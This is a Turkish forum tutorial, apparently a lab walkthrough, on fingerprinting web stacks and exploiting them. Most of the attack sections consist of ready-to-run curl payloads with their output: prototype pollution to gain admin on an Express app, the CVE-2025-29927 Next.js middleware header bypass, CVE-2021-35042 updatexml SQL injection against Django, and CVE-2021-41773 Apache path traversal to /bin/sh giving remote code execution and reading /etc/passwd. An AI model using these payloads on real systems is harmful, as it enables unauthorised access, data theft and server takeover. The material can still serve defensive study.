Hoşgeldin Misafir

#PTHM-Modern Web Stacksleri (3)

CW-ommah

17 Ocak 2022
905 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Pasif HTTP sinyallerinden (başlıklar, çerez adları, hata sayfaları, URL yapısı) bir web yığınını istismar yükü göndermeden tanımlamayı CVE-2025-29927 açığını kullanarak Next.js middleware kimlik doğrulamasını atlatmayı, CVE-2021-35042 açığını kullanarak bir Django uygulamasından veritabanı içeriklerini çıkarmayı ve son olarak CVE-2021-41773 açığını kullanarak Apache 2.4.49 üzerinde mod_cgi aracılığıyla keyfi dosyaları okuyun ve sistem komutları çalıştırmayı öğrenceğiz Allah’ın izniyle


MERN Stacks
MERN teknolojileri günümüzde oldukça yaygın olarak kullanılmaktadır. MongoDB, Express.js, React ve Node.js’den oluşan bu yığın; modern SaaS uygulamalarının, şirket içi araçların ve API arka uçlarının büyük bir kısmını desteklemektedir. Express, Node.js ekosisteminde en fazla kullanılan web framework’üdür. Ancak minimalist tasarım anlayışı nedeniyle geliştiriciler birçok yardımcı işlevi kendileri geliştirmek zorunda kalır. Güvenlik açıklarının önemli bir bölümü de bu özel yazılmış yardımcı kodlarda bulunur.


Yığın Kimliği (Stack Identity)

MERN uygulamaları, tüm yazılım yığını boyunca tek bir programlama dili kullanmak isteyen ve yalnızca JavaScript’e odaklanan ekipler için varsayılan tercih haline gelmiştir. Ubuntu üzerinde tipik bir dağıtımda, Node.js genellikle NodeSource PPA üzerinden kurulur, Express ise 3000 veya 5000 numaralı portlarda dinleme yapar. MongoDB ise varsayılan olarak 27017 numaralı port üzerinde çalışır.

Üretim ortamlarında genellikle ön tarafta bir ters vekil (reverse proxy) olarak Nginx bulunur. Ancak yanlış yapılandırılmış ortamlarda ve kurum içi araçlarda, Express süreci çoğu zaman doğrudan internete açık şekilde erişilebilir durumda bırakılır.


MERN Yığınının Tespit Edilmesi (Fingerprinting the MERN Stack)

Herhangi bir istismar (exploit) yükünü kullanmaya başlamadan önce, karşı karşıya olduğunuz sistemin ne olduğunu belirlemeniz gerekir. İlk adım olarak HTTP başlıklarını (headers) kontrol ederek başlayın:
Kod:
root@CW-ommah:~# curl -I 10.113.153.178:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 68
ETag: W/"44-0T374IjVuBCKvVq78aQtpBIvD2A"
Set-Cookie: connect.sid=s%3A2PyC5xblQ3G0ERkE60uOUddRtPs2jacn.0gAB6ByfrNg3b48tDXARTEBQG0pLlKkBofAsa69W%2FY0; Path=/; HttpOnly
Date: Sun, 03 May 2026 15:00:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Yanıtta bunları arayın:

Gösterge (Signal)Değer (Value)Güven Düzeyi (Confidence)
X-Powered-By başlığıExpressYüksek
Set-Cookie başlığıconnect.sid=s%3A...Yüksek
İşlenmemiş rota yanıtıCannot GET /nonexistent (düz metin)Yüksek
Ön uç (frontend) kök elementiHTML gövdesi (body) içerisindeOrta


X-Powered-By: Express başlığı, en temel göstergedir. Express, varsayılan olarak her yanıtta bu başlığı gönderir. Bu başlık yalnızca geliştiricinin açıkça app.disable('x-powered-by') çağrısını yapması veya Helmet ara yazılımını (middleware) eklemesi durumunda kaldırılır. Çoğu geliştirici bunu yapma gereği duymaz.

Ters vekiller (reverse proxies) ve PaaS platformları (örneğin Vercel, Cloudflare ve Railway) bu başlığı istemciye ulaşmadan önce sıklıkla kaldırır. Eğer X-Powered-By başlığı mevcut değilse, ikincil göstergeler olarak çerez (cookie) adı ve işlenmemiş rota (unhandled route) biçimi kullanılmalıdır.

connect.sid çerezi, express-session ara yazılımı tarafından oluşturulur. Uygulama saveUninitialized: true ayarıyla çalışıyorsa (birçok uygulamada varsayılan durum budur), bu çerez mevcut olur. Giriş oturumları için önerilen ayar olan saveUninitialized: false kullanıldığında ise çerez yalnızca bir oturum oluşturulduktan sonra görünür. Bu nedenle connect.sid çerezinin bulunmaması, uygulamanın Express kullanmadığı anlamına gelmez.

Not: Eğer saveUninitialized: false yapılandırılmışsa (özellikle yeni express-session belgelerinde yalnızca oturum açma amaçlı oturumlar için önerilen varsayılan ayar), kimliği doğrulanmamış isteklerde bu çerez görünmez. Dolayısıyla connect.sid çerezinin bulunmaması, Express'in kullanılmadığını doğrulamaz.
Kod:
root@CW-ommah:~# curl http://10.113.153.178:3000/nonexistent
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /nonexistent</pre>
</body>
</html>

Varsayılan ayarlarla çalışan bir Express uygulaması, düz metin olarak şu yanıtı döndürür:
Kod:
Cannot GET /nonexistent
Bu davranış, diğer teknolojilerden belirgin şekilde farklıdır:

  • Django, HTML biçiminde bir hata sayfası gösterir.
  • Apache, biçimlendirilmiş (styled) bir 403 veya 404 hata sayfası döndürür.
  • Next.js, tasarımlı bir hata sayfası içeren HTML çıktısı verir.
Bu nedenle, düz metin olarak dönen Cannot GET /nonexistent yanıtı, Express uygulamalarını tanımlamak için açık ve ayırt edici bir göstergedir.

MERN Uygulamalarının İstismar Edilmesi

Yığın yapısını doğruladınız: 3000 numaralı port üzerinde çalışan bir Express uygulaması ve connect.sid oturum çerezi mevcut.

Bir MERN uygulamasına yönelik sızma testinde (pentest), parmak izi çıkarma (fingerprinting) aşamasından sonraki adım API yüzeyinin (API surface) keşfedilmesidir (enumeration). MERN uygulamaları genellikle profil güncellemeleri, kullanıcı tercihleri ve hesap ayarları için JSON tabanlı API'ler sunar. Geliştiriciler de çoğu zaman kullanıcı nesnelerine kısmi güncellemeler uygulamak için kendi yardımcı işlevlerini (utility functions) yazarlar.

Prototype pollution türündeki güvenlik açıkları da genellikle bu yardımcı işlevlerde ortaya çıkar.

3000 numaralı portta çalışan uygulama,bizim açımızdan önemli olan aşağıdaki iki uç noktayı (endpoint) sunmaktadır:

Uç Nokta (Endpoint)Yöntem (Method)Amaç (Purpose)
/api/user/updatePOSTJSON verisini kabul eder ve bunu oturumdaki kullanıcı nesnesiyle birleştirir
/api/admin/flagGETİsteği yapan kullanıcının yönetici (admin) yetkisi varsa bir bayrak (flag) döndürür
Öncelikle yönetici (admin) rotasının erişim kontrolüyle korunduğunu doğrulayın. Bunun için önce oturum çerezinizi (session cookie) kaydedin, ardından aşağıdaki komutları çalıştırarak korunan uç noktayı (protected endpoint) test edin:
Kod:
root@CW-ommah:~# curl -c cookies.txt http://10.113.153.178:3000/
MERN Lab App
root@CW-ommah :~# curl -b cookies.txt http://10.113.153.178:3000/api/admin/flag
{"error":"Not authorized"}

Beklenen sonuç: {"error":"Not authorized"}.
Bu kontrol, isAdmin özelliğine sahip olmayan normal oturum kullanıcıları için düzgün şekilde çalışmaktadır.
Şimdi, güncelleme (update) uç noktasının normal koşullar altında ne kabul ettiğine bakın. Meşru bir istemci (client) genellikle bir isim veya e-posta değişikliği gönderir.
Kod:
root@CW-ommah:~# curl -b cookies.txt -X POST http://10.113.153.178:3000/api/user/update -H "Content-Type: application/json" -d '{"name": "Alice", "email":"[email protected]"}'
{"status":"updated"}
Beklenen sonuç: {"status":"updated"}.
Bu uç nokta, rastgele JSON anahtarlarını kabul eder ve bunları herhangi bir filtreleme yapmadan kullanıcı nesnesiyle birleştirir. Asıl saldırı yüzeyi de bu birleştirme (merge) fonksiyonudur.

Her JavaScript nesnesi, Object.prototype adı verilen ortak bir kökten miras alır. Bir birleştirme fonksiyonu {"__proto__": {"isAdmin": true}} girdisini herhangi bir filtreleme yapmadan aldığında, isAdmin: true değerini tek bir kullanıcı nesnesine değil, doğrudan Object.prototype üzerine yazar.

Bunun sonucunda, Node.js sürecindeki .isAdmin özelliğini kontrol eden her nesne, bu özelliği kendi üzerinde tanımlı olmasa bile prototip zinciri üzerinden true değerini bulur. Böylece admin bayrağı kontrolü yapan uç nokta, üzerinde isAdmin özelliği tanımlı olmayan düz bir oturum nesnesi kullandığı için doğrudan hedef haline gelir.

Bazı daha güvenli (hardening uygulanmış) ortamlarda giriş seviyesinde __proto__ filtresi uygulanır. Bu durumlarda ise constructor.prototype yolu ({"constructor": {"prototype": {"isAdmin": true}}}) farklı bir mekanizma üzerinden Object.prototype’a ulaşarak bu filtreleri aşabilir.


Admin Bayrağını Elde Etme

Uygulamadaki güvenlik açığı bulunan birleştirme (merge) fonksiyonu şu şekilde görünmektedir:
Kod:
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
{"__proto__": {"isAdmin": true}} yükü (payload) bu fonksiyona ulaştığında, kaynak anahtarlar içinde __proto__ alanını bulur, bunun bir nesne olduğunu görür ve özyinelemeli (recursive) olarak işlem yapar.

Bu özyineleme sırasında target["__proto__"], normal bir anahtar değil Object.prototype’a bir referans olduğu için, Object.prototype.isAdmin = true şeklinde bir atama yapılır.

Bunun ardından admin rotası currentUser.isAdmin değerini okur. Nesnenin kendi üzerinde böyle bir özellik bulunmadığı için prototip zincirinde yukarı çıkar ve değeri bulur, böylece flag’i döndürür.

Kod:
app.get('/api/admin/flag', (req, res) => {
  const currentUser = req.session.currentUser || {};
  if (currentUser.isAdmin) {               // resolves true via prototype chain
    res.json({ flag: '[REDACTED]' });
  } else {
    res.status(403).json({ error: 'Not authorized' });
  }
});
Adım 1: Prototype Pollution (Prototip Kirlenmesi) Yükünü Gönderme
Kod:
root@CW-ommah:~# curl -b cookies.txt -X POST http://10.113.153.178:3000/api/user/update -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}'
{"status":"updated"}
Sunucu {"status":"updated"} yanıtını verir. Birleştirme işlemi çalışmıştır ve Node.js süreci içinde Object.prototype.isAdmin artık true’dur.

Adım 2: Admin Bayrağını İstekle Alın

Kod:
root@CW-ommah:~# curl -b cookies.txt http://10.113.153.178:3000/api/admin/flag
{"[REDACTED]"}
isAdmin kontrolü prototip zinciri üzerinden true olarak çözülür ve yanıt flag’i içerir.
Bu, modern web yığınlarını istismar etmek için kullanılabilecek birçok teknikten sadece biridir.



React/ Next.js
Express, az önce istismar ettiğimiz MERN yığınının temelini oluşturur. Next.js ise bunun üzerine inşa edilir ve App Router, React Server Components ve middleware gibi soyutlamalar ekleyerek farklı ve daha ciddi bir saldırı yüzeyi oluşturur.


Yığın Kimliği (Stack Identity)

Next.js, üretim (production) uygulamaları için en yaygın kullanılan React framework’üdür. Son üç yıl içinde geliştirilmiş çoğu yatırımcı panosu (dashboard), müşteri portalı ve pazarlama sitesinin arkasında onu bulabilirsiniz.

Ubuntu üzerinde genellikle özel bir kullanıcı (node veya www-data) altında çalışan bir Node.js süreci olarak çalışır ve çoğunlukla npm run build sonrasında npm start komutuyla başlatılır.

App Router (Next.js 13 ile tanıtıldı, Next.js 14’ten itibaren varsayılan hale geldi), React Server Components özelliğini etkinleştirir. Bu yapı, CVE-2025-29927 ve CVE-2025-55182 gibi güvenlik açıklarının ortaya çıkmasına olanak sağlar.

Not: CVE-2025-29927 ve CVE-2025-55182’nin her ikisi de Next.js uygulamalarını üretim derleme modunda (production build mode) etkiler (npm run build && npm start). Geliştirme modunda (next dev) ortaya çıkmazlar. Eğer parmak izi çıkarma (fingerprinting) işlemi bir geliştirme sunucusu olduğunu doğrularsa, bu iki CVE geçerli değildir.

React Server Components ve Flight Protokolü
App Router, React bileşenlerini doğrudan sunucu üzerinde çalıştırır. Tarayıcıya JavaScript göndermek yerine, sunucu bileşeni çalıştırır ve sonucu RSC Flight protokolü adı verilen ikili (binary-benzeri) bir format kullanarak istemciye akış (stream) halinde iletir.
Bu akış kanalı, yani bu yükü (payload) sunan uç nokta (endpoint), CVE-2025-55182 için saldırı yüzeyini oluşturur.

Next.js’in Parmak İzi Çıkarılması (Fingerprinting)
Pasif parmak izi çıkarma (passive fingerprinting) ile başlayın. Henüz herhangi bir exploit yükü (payload) kullanmayın.
Kod:
root@CW-ommah:~# curl -I http://10.113.153.178:3001/
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000,
ETag: "1pqu4ojvif3at"
Content-Type: text/html; charset=utf-8
Content-Length: 4277
Connection: keep-alive
Keep-Alive: timeout=5
İşlem tamamlandıktan sonra aşağıdaki desenleri arayın:

Sinyal (Signal)Değer (Value)Güven (Confidence)
X-Powered-By başlığıNext.jsYüksek
HTML kaynağıscript etiketi içinde window.__next_fYüksek (App Router’ı doğrular)
Statik varlık yolları/_next/static/chunks/Yüksek
Middleware başlıklarıx-middleware-next veya x-middleware-rewriteOrta
Korumalı rotaya yönlendirme/login adresine HTTP 307 yönlendirmesiOrta
Sayfa kaynak kodunda window.__next_f ifadesinin bulunması, App Router için kesin bir göstergedir. Bu, React Server Component verileri için kullanılan hydration (hidratasyon) dizisidir ve Next.js tarafından her App Router sayfasının HTML çıktısına enjekte edilir. Pages Router’da veya diğer herhangi bir framework’te bu ifade yer almaz.

CVE-2025-29927: Middleware Bypass
Next.js’te middleware, bir sayfaya ulaşmadan önce her istekte çalışan bir fonksiyondur. Geliştiriciler bunu merkezi bir kontrol noktası (gatekeeper) olarak kullanır; kimlik doğrulama kontrolleri, oturum doğrulaması ve yönlendirme (redirect) mantığı burada yer alır. Middleware her rotanın önünde bulunduğu için, Next.js uygulamalarında erişim kontrolünün en yaygın uygulandığı yerdir.
Bu uygulamadaki /dashboard rotası tipik bir örnektir. Middleware, geçerli bir oturum çerezi (session cookie) olup olmadığını kontrol eder. Eğer yoksa, kullanıcıyı /login sayfasına yönlendirir. Bunun doğru çalıştığını doğrulayalım:
Kod:
root@CW-ommah:~# curl -v http://10.113.153.178:3001/dashboard
Trying 10.113.153.178:3001...
Connected to 10.113.153.178 port 3001
GET /dashboard HTTP/1.1
Host: 10.113.153.178:3001
Accept: /
/login
Middleware çalışıyor. Cookie yoksa dashboard’a erişim sağlanmıyor ve sunucu doğrudan /login sayfasına yönlendiriyor.

Şimdi güvenlik açığına gelelim. Next.js, sonsuz döngüleri önlemek için x-middleware-subrequest adında dahili bir başlık (header) kullanır. Middleware kendi kendini özyinelemeli (recursive) olarak çağırdığında — örneğin değiştirilmiş bir isteği başka bir rotaya iletirken — Next.js bu başlığı ekler ve böylece aynı istekte middleware’in tekrar çalıştırılmasını engeller. Bu, framework içinde yerleşik bir performans ve güvenlik mekanizmasıdır.

Kritik sorun şudur: Next.js, x-middleware-subrequest başlığının dahili bir süreçten mi yoksa dış bir istemciden mi geldiğini kontrol etmez. Eğer bu başlığı kendi isteğinize eklerseniz, Next.js bunu dahili bir alt istek (subrequest) gibi değerlendirir ve middleware’i tamamen atlar. Böylece kimlik doğrulama kontrolü hiç çalışmaz.

Bu başlığın değeri, middleware modül yolunu kodlar ve beş kez tekrarlanır. Kök dizinde bir middleware.ts dosyası olan bir uygulama için:

Kod:
root@CW-ommah:~# curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://10.113.153.178:3001/dashboard
...
DashboardFlag: [REDACTED]
...
Middleware kontrolü tamamen atlanır. İstek doğrudan dashboard sayfa işleyicisine (handler) yönlendirilir ve bu da flag’i döndürür.

Bu, CVE-2025-29927 olarak bilinen ve CVSS 9.1 (kritik) seviyesinde bir güvenlik açığıdır. Kimlik doğrulama için middleware’e dayanan tüm Next.js uygulamaları, tek bir header kullanılarak tamamen kimlik doğrulama atlatılmasına karşı savunmasız hale gelmiştir. Herhangi bir kimlik bilgisi, brute force (kaba kuvvet) veya oturum belirteci (session token) gerekmez; yalnızca Next.js’in doğrulamadan güvendiği bir header değeri yeterlidir.

Bilgi: Eğer uygulama /src dizin yapısını kullanıyorsa, header değeri src/middleware ifadesinin beş kez tekrarlanması şeklinde değişir. Middleware.ts dosyasının proje kök dizininde mi yoksa src/ klasörü içinde mi bulunduğunu her zaman kontrol edin.


Django
Az önce üzerinde çalıştığınız MERN ve Next.js yığınları Node.js üzerinde çalışır. Django ise devlet kurumlarının, haber kuruluşlarının ve Python mühendislik ekiplerine sahip SaaS şirketlerinin öncelikli olarak tercih ettiği, Python’a özgü alternatif bir framework’tür.

ORM’nin (Object-Relational Mapping), geliştiricileri SQL enjeksiyonu (SQL Injection) saldırılarından koruması beklenir. Çoğu sorgu için bu korumayı sağlar. Ancak geliştiriciler ORM’yi devre dışı bırakıp kullanıcı girdilerini doğrudan SQL sorgularına eklediklerinde veya ORM’nin kullanım dışı bırakılmış (deprecated) bir kod yolunda güvenlik açığı bulunduğunda, veritabanı tamamen savunmasız hale gelir.


Yığın Kimliği (Stack Identity)

Django, Python tabanlı web uygulamalarının önemli bir bölümüne güç sağlar. Ubuntu üzerinde genellikle Gunicorn veya Django’nun yerleşik geliştirme sunucusu altında çalışır ve çoğunlukla 8000 numaralı portu kullanır.

Django yönetim paneli (/admin/) ve CSRF middleware’i, neredeyse tüm Django projelerinde varsayılan olarak etkin durumdadır. Tek başına yönetim panelinin varlığı bile, herhangi bir exploit yükü göndermeden önce yığın hakkında güvenilir bir gösterge sağlar.


Django’nun Parmak İzi Çıkarılması (Fingerprinting Django)

Çalışan uygulamaya karşı ilk olarak HTTP başlıklarını (headers) kontrol ederek başlayın:
Kod:
root@CW-ommah:~# curl -I "http://10.82.95.115:8000/products/"
HTTP/1.1 200 OK
Date: Sun, 03 May 2026 14:33:20 GMT
Server: WSGIServer/0.2 CPython/3.10.12
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Cookie
Content-Length: 407
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie:  csrftoken=9vMaeHlURA0uOYnP9qB2BrDNTvNPoD0JPyecxWNxV7aohswgtAtBvwbLWaOTYIF7; expires=Sun, 02 May 2027 14:33:20 GMT; Max-Age=31449600; Path=/; SameSite=Lax
İşlem tamamlandıktan sonra aşağıdaki çıktıları arayın arayın:

Sinyal (Signal)Değer (Value)Güven Düzeyi (Confidence)
Server başlığıWSGIServer/0.2 CPython/X.X.XYüksek
Çerez (Cookie) adıcsrftokenYüksek
X-Frame-Options başlığıDENYYüksek
X-Content-Type-Options başlığınosniffYüksek
Referrer-Policy başlığısame-originOrta
HTML kaynak kodu (herhangi bir POST formu)Gizli alan (hidden field) olarak csrfmiddlewaretokenYüksek
csrfmiddlewaretoken gizli alanı (hidden field), Django için en güvenilir parmak izi göstergesidir. Django'nun CsrfViewMiddleware bileşeni, bu alanı otomatik olarak her POST formuna ekler. /admin/ sayfasına gidip kaynak kodunu görüntülediğinizde bu alanın her zaman mevcut olduğunu görebilirsiniz. Bu alanı Express, Rails veya herhangi bir Next.js uygulamasında bulamazsınız.

X-Frame-Options: DENY, X-Content-Type-Options: nosniff ve Referrer-Policy: same-origin başlıklarının birlikte bulunması, Django'nun SecurityMiddleware bileşenine işaret eder. Varsayılan olarak bu başlık kombinasyonunu uygulayan başka bir framework bulunmaz.

CVE-2021-35042: Güvenlik Açığı

/products/ isteğini işleyen görünüm (view), SQL sorgusunu oluştururken order parametresini doğrudan ORDER BY ifadesine ekleyerek sorguyu oluşturur:
Kod:
order = self.request.GET.get('order', 'name')
sql = (

    'SELECT id, name, price, description FROM products_product '
    f'ORDER BY (CASE WHEN (1=1) THEN {order} ELSE name END)'
)

?order= parametresine ne yazarsanız yazın, bu değer herhangi bir doğrulama yapılmadan SQL sorgusundaki THEN dalının içine yerleştirilir. CASE WHEN yapısı her zaman doğru (1=1) olduğundan, THEN dalı da her zaman çalışır ve böylece enjeksiyonun giriş noktası haline gelir.

updatexml() tekniği, MySQL’in XPath hatalarını nasıl işlediğinden yararlanır. updatexml(1, xpath_expr, 1) fonksiyonu, XPath ifadesi geçersiz olduğunda bir hata üretir. concat(0x7e, ...) kullanılarak XPath argümanının içine bir SELECT sorgusu yerleştirildiğinde, MySQL sorgu sonucunu hata mesajının içine ekler. 0x7e, ~ karakterinin onaltılık (hex) karşılığıdır ve çıkarılan değerin kolayca ayırt edilebilmesi için ayraç olarak kullanılır.

Django’nun hata ayıklama modu (DEBUG = True), bu MySQL hata mesajlarını HTTP 500 yanıtının gövdesinde görüntüler.

Uyarı: updatexml() tekniği yalnızca settings.py dosyasında DEBUG = True olarak ayarlandığında çalışır. Üretim ortamındaki bir uygulamada DEBUG = False olduğunda, ayrıntılı hata mesajları yerine genel bir 500 hata sayfası döndürülür.


İstismar Süreci (Exploitation Walkthrough)

Adım 1: MySQL Sürümünü Çıkarma

Enjeksiyonun çalıştığını doğrulamak için bilinen bir değeri çıkarın: veritabanı sürümü. @@version sistem değişkeni her zaman kullanılabilir durumdadır ve yükünüzün (payload) çalıştığını anında doğrulamanızı sağlar.

500 hata yanıtı, hata ayıklama (debug) çıktısı içinde Django sürümünü de ortaya çıkarır:

Kod:
root@ip-10-82-126-238:~# curl -s "http://10.114.186.6:8000/products/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '~[0-9][^&]*'
~8.0.45-0ubuntu0.22.04.1
~ öneki (prefix), yükünüzün (payload) çalıştığını ve veritabanının yanıt verdiğini doğrular. MySQL 8.0 üzerinde enjeksiyon gerçekleştiriyorsunuz.

Aynı 500 hata sayfası, hata ayıklama (debug) çıktısı içinde Django Sürümü: 3.2.4 bilgisini de içerir.

Adım 2: Veritabanı Adını Çıkarma
Şimdi uygulamanın hangi veritabanını kullandığını tespit edin.
Kod:
root@ip-10-82-126-238:~# curl -s "http://10.114.186.6:8000/products/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '~[0-9a-zA-Z_][^&]*'
~vuln_db
Hedef veritabanı vuln_db’dir. Bu yalnızca bir örnektir ve bu tür bilgiler, veritabanını daha fazla istismar etmek ve içeriğini çıkarmak için Sqlmap gibi araçlara sağlanabilir.


LAMP
LAMP (Linux, Apache, MySQL, PHP), en eski ve en yaygın kullanılan web uygulama yığınlarından biridir. Tüm bileşenlerinin açık kaynaklı, kararlı ve kurulumu kolay olması nedeniyle popüler hale gelmiştir.

Linux işletim sistemini sağlar, Apache web isteklerini yönetir, MySQL veritabanını kontrol eder ve PHP dinamik içerikleri işler. Uzun yıllar boyunca bloglar, forumlar ve kurumsal uygulamalar dahil olmak üzere internetin büyük bir bölümüne güç vermiştir.

Günümüzde bile birçok eski sistem ve üretim ortamı, basitliği ve güvenilirliği nedeniyle LAMP mimarisine bağlı kalmaya devam etmektedir.


Yığın Kimliği (Stack Identity)

Ubuntu üzerinde Apache genellikle www-data kullanıcısı altında çalışır, dosyaları /var/www/html dizininden sunar ve dinamik istekleri mod_php veya PHP-FPM aracılığıyla PHP’ye iletir.

MySQL uygulama verilerini saklarken, PHP sunucu taraflı (server-side) mantığı işler. Bu klasik Linux, Apache, MySQL ve PHP kombinasyonu; açıkta kalan PHP dosyaları, veritabanı hataları, zayıf dosya izinleri ve hatalı yapılandırılmış Apache/PHP ayarları gibi yaygın saldırı yüzeyleri oluşturur.


LAMP Yığınını Tespit Etme (Fingerprinting the LAMP Stack)

Bir başlık (header) kontrolü ile başlayın. Apache, her yanıtta sürüm bilgisini yayınlar:
Kod:
root@CW-ommah:~# curl -I http://10.114.186.6:8080/
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html
Server: Apache/2.4.49 (Unix) tek başına yeterli bir bilgidir. Bu sürüm doğrudan CVE-2021-41773 güvenlik açığıyla ilişkilidir. Apache ayrıca 404 hata sayfalarının alt kısmında da sürüm bilgisini tekrar eder. Bunu doğrulamak için var olmayan bir yol (path) isteği gönderin
Kod:
root@CW-ommah:~# curl -v http://10.114.186.6:8080/nonexistent 2>&1
*   Trying 10.114.186.6:8080...
* TCP_NODELAY set
* Connected to 10.114.186.6 (10.82.95.115) port 8080 (#0)
> GET /nonexistent HTTP/1.1
> Host: 10.114.186.6:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Sat, 02 May 2026 21:16:56 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 196
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
* Connection #0 to host 10.114.186.6 left intact
Son sinyal /cgi-bin/ yoludur. 403 Forbidden yanıtı, dizinin mevcut olduğunu ancak dizin listelemenin devre dışı bırakıldığını gösterir. Bu durumda mod_cgi yapılandırılmıştır. 404 yanıtı ise bu dizinin hiç bulunmadığını ifade eder. Bu istismar için mod_cgi gereklidir:
Kod:
root@CW-ommah:~# curl -v http://10.114.186.6:8080/cgi-bin/ 2>&1
*   Trying 10.82.95.115:8080...
* TCP_NODELAY set
* Connected to 10.114.186.6 (10.82.95.115) port 8080 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: 10.114.186.6:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 02 May 2026 21:19:21 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 199
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>
* Connection #0 to host 10.114.186.6 left intact
İşlem tamamlandıktan sonra aşağıdaki parametreleri arayın:


SinyalDeğerGüven
Server header (Sunucu başlığı)Apache/2.4.49 (Unix)Yüksek - tam CVE eşleşmesi
404 error page footer (404 hata sayfası alt bilgisi)Apache/2.4.49 sürüm bilgisiYüksek
/cgi-bin/ yanıtı403 Yasak (404 değil)Yüksek - mod_cgi etkin

CVE-2021-41773: Güvenlik Açığı

Apache 2.4.49 sürümü, ap_normalize_path() fonksiyonunda bir değişiklik yaptı. Bu değişiklik istemeden path traversal (dizin gezme) filtresini bozdu. Normalde Apache, dosya sistemine ulaşmadan önce içinde ../ geçen tüm URL’leri engeller. Hata, çözümleme (decode) sırasındadır: traversal filtresi, tam URL decode işlemi yapılmadan önce çalışır.

Bir istekte . %2e/ (nokta + URL kodlanmış nokta + slash) gönderdiğinizde, filtre bunu . %2e/ olarak görür ve ../ olduğunu fark etmez. Apache URL’yi dosya sistemine ilettiğinde ise işletim sistemi . %2e/ ifadesini ../ olarak çözümler. Böylece filtre baypas edilmiş olur.

Tek başına bu açık, dosya okuma amaçlı bir dizin gezme (directory traversal) zafiyetidir. Bunu kritik yapan şey ise mod_cgi ile etkileşimidir. /cgi-bin/ yolu CGI çalıştırma özelliği açık olacak şekilde yapılandırılmıştır. Traversal sonucu yol /bin/sh gibi çalıştırılabilir bir ikili dosyaya çözülürse, Apache bunu bir CGI scripti olarak çalıştırır ve HTTP POST gövdesini bu sürecin standart girişine (stdin) aktarır.


Neden --path-as-is Gereklidir

curl URL’leri gönderilmeden önce normalleştirir (normalize eder). --path-as-is kullanılmazsa, curl . %2e/ gibi ifadeleri istemci tarafında temizler ve sunucuya normalleştirilmiş bir yol gönderir. Bu seçenek ise URL’nin aynen yazıldığı gibi, hiçbir değişiklik yapılmadan gönderilmesini sağlar.

Uyarı

Eğer traversal (dizin gezme) istekleriniz 403 döndürüyorsa ve komut çalışmıyorsa, bunun en yaygın nedeni --path-as-is parametresinin eksik olmasıdır. curl, traversal dizilerini sessizce normalleştirir ve sunucuya kodlanmış nokta karakterlerini içeren orijinal isteği iletmez.

İstismar

Port 8080 üzerinde Apache 2.4.49 sürümünü doğruladınız ve /cgi-bin/ üzerinde mod_cgi etkin durumda. Kimlik doğrulama olmadan uzaktan kod çalıştırmaya (RCE) giden doğrudan bir yolunuz var.

Adım 1: Uzaktan Kod Yürütme İşlemini Doğrulama

Dört adet .%2e/ segmenti kullanarak /cgi-bin/ dizininden /bin/sh dizinine ilerleyin. POST gövdesinde kabuk komutları iletin. CGI spesifikasyonu gereği, echo Content-Type: text/plain; echo; ön ekinin bulunması zorunludur. Apache, gövdenin öncesinde geçerli bir HTTP başlık bloğu gerektirir; aksi takdirde 500 hatası döndürür. Basit bir echo komutu, gerekli boşluk ayırıcı satırını görüntüler:
Kod:
root@CW-ommah:~# curl -s --path-as-is "http://10.114.186.6:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)

RCE doğrulandı

Apache sürecinin daemon olarak çalıştığı görülüyor. Web sürecinin yetkileriyle sunucu üzerinde kod çalıştırma (RCE) elde edilmiş durumda.

Adım 2: Sistem Hesaplarını Okuma

Kod çalıştırma yetkisi elde edildikten sonra, daemon kullanıcısının erişebildiği herhangi bir dosya okunabilir. Sistem içindeki hesapları listelemek için konteyner içerisinde /etc/passwd dosyası incelenir.

Kod:
root@CW-ommah:~# curl -s --path-as-is "http://10.114.186.6:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
